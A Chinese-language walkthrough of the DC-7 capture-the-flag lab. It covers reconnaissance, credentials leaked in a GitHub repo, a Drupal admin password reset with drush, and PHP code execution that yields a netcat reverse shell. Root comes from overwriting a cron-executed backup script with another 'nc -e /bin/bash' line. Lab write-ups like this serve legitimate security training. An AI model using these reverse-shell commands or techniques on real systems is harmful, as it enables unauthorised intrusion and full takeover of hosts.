DC-7靶机渗透实战
靶机介绍
这次的靶机渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标。靶机下载地址[1],需要更详细的资料可以参考文章1[2]、文章2[3]、文章3[4]
信息搜集
nmap开路
开放了80http端口,访问一下:
根据作者提示:
DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are. ?<br/>
While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed.<br/>
What you will have to do, is to think "outside" the box.<br/>
Way "outside" the box. ?</p>
<p>dc-7引入了一些“新”概念,但我还是让你们自己来弄清楚它们是什么。----)
虽然这个挑战并不完全是技术性的,但如果你需要诉诸粗暴的强迫或字典攻击,你可能不会成功。
你要做的是,想“外面”的盒子。“外面”的盒子。----)
Tips: 这里的盒子应该是泛指不是爆破和字典攻击,让我们跳出传统的思维,进行深入的信息搜集
看到左下角的Powered by Drupal下面还有个@DC7USER
,直接找到源代码仓库
我们把github上的内容下载下来,查看到了一个配置文件给到了一个账号和密码
dc7user: MdR3xOgB7#dW
渗透实战
连上ssh后在dc7user的home目录下发现了gpg加密的website.sql文件和一个mbox邮件
可以看到登上去就提示有邮件mail。 在当前目录下,看到mbox文件和backups目录,backups里website.sql.gpg 和website.tar.gz.gpg两个gpg文件,gpg是用来加密文件的:
查看mbox文件后,发现每个邮件都有backups.sh,查看一下
得出结论:每隔一段时间就执行这个文件,实现对数据库和站点代码进行备份加密,并删掉了原来的,只留下加密后的。
sh文件中使用了drush,可以使用其来更改用户密码(注意:需要进入/var/www/html
目录下才可执行):
drush user-password admin --password="admin"
修改admin的密码为admin
ok,现在去后台看看
后台文本编辑模块是没有PHP的,需要自己添加,手动添加PHP参考文章[5]
找到Manage下的Extend,点击Install new module:
点击Enable newly added modules,在里面找到PHP Filter,勾上:
然后拉到最下面Install:
下载模块
下载成功 点击Enable启用模块
选中PHP添加进去
反弹shell
Manage -> Content -> edit:
<?php system('nc -e /bin/bash 192.168.246.138 8888')?>
保存后,kali监听8888端口,然后访问其首页:
python返回交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
提权
前面提到backups.sh会每隔一段时间执行一次进行备份,需要root权限才能进行的操作,可以在backups.sh中写入shell,反弹回来即为root权限:
echo "nc 192.168.246.138 6666 -e /bin/bash" > /opt/scripts/backups.sh
在kali上监听6666端口,等了一会之后就收到了: 返回交互式shell:
参考资料
[1]
靶机下载地址: http://www.five86.com/dc-7.html
[2]
参考文章1: https://blog.csdn.net/weixin_44426869/article/details/104883470
[3]
参考文章2: https://blog.csdn.net/weixin_43762939/article/details/102561570
[4]
参考文章3: https://blog.csdn.net/weixin_46128614/article/details/104037722
[5]
后台添加PHP code:: https://blog.csdn.net/weixin_43583637/article/details/102809227
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Android实现系统消息推送
- Android仿微信QQ聊天顶起输入法不顶起标题栏的问题
- Android实现倒计时的按钮效果
- 腾讯位置服务实现轨迹回放
- 有一种遗憾,是跑程序却没用上_______
- Android使用注解代替枚举节省系统内存开销的方法
- Android实现自定义验证码输入框效果(实例代码)
- flutter 实现多布局列表的示例代码
- flutter TextField换行自适应的实现
- 如何造个android Flow流式响应的轮子
- Flutter混合开发详解
- Android 单双击实现的方法步骤
- Android多渠道打包时获取当前渠道的方法
- Flutter Dio二次封装的实现
- android开发通过Scroller实现过渡滑动效果操作示例